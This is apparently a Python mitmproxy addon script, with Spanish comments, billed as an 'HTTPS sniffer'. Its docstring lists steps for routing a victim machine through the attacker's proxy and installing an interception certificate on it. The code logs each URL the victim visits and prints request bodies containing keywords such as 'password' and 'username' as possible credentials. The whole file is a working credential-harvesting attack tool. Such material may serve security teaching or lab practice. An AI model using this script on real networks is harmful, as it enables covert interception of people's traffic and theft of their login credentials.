61 lines
1.5 KiB
Python
61 lines
1.5 KiB
Python
# /usr/bin/env python3
|
|
"""
|
|
HTTPS sniffer - MITM Proxy
|
|
|
|
1. Descargar los binarios de mitmproxy, mitmweb y mitmdump
|
|
2. Ejecutar binario mitmweb o mitmproxy.
|
|
3. Configurar el proxy en la máquina víctima. (IP:8080)
|
|
4. Comprobar en la url mitm.it desde la máquina de la victima que
|
|
ya puedes descargar el certificado
|
|
5. Instalar el certificado en la máquina de la víctima
|
|
6. Observar el tráfico en la máquina del atacante
|
|
7. Ejecutar el script con el binario mitmdump con la opción -s para
|
|
indicar el script a ejecutar y personalizar la recogida de información
|
|
|
|
También se puede lanzar desde docker: https://hub.docker.com/r/mitmproxy/mitmproxy/
|
|
|
|
"""
|
|
|
|
from mitmproxy import http
|
|
from urllib.parse import urlparse
|
|
|
|
|
|
def has_keywords(data, keywords):
|
|
"""
|
|
Esta función comprueba si en la petición se encuentran las palabras
|
|
clave que nos interesan
|
|
"""
|
|
|
|
return any(keyword in data for keyword in keywords)
|
|
|
|
|
|
|
|
def request(packet):
|
|
"""
|
|
Esta función se ejecuta cada vez que se realiza una petición
|
|
"""
|
|
|
|
url = packet.request.url
|
|
|
|
parsed_url = urlparse(url)
|
|
|
|
scheme = parsed_url.scheme
|
|
|
|
domain = parsed_url.netloc
|
|
|
|
path = parsed_url.path
|
|
|
|
print(f"\n\nURL visitada por la víctima: {scheme}://{domain}{path}")
|
|
|
|
keywords = [
|
|
"login", "signin", "logon",
|
|
"password", "pass", "passwd",
|
|
"user", "username"
|
|
]
|
|
|
|
data = packet.request.get_text()
|
|
|
|
if has_keywords(data, keywords):
|
|
|
|
print(f"\n\nPosible credencial:\n\n{data}\n\n")
|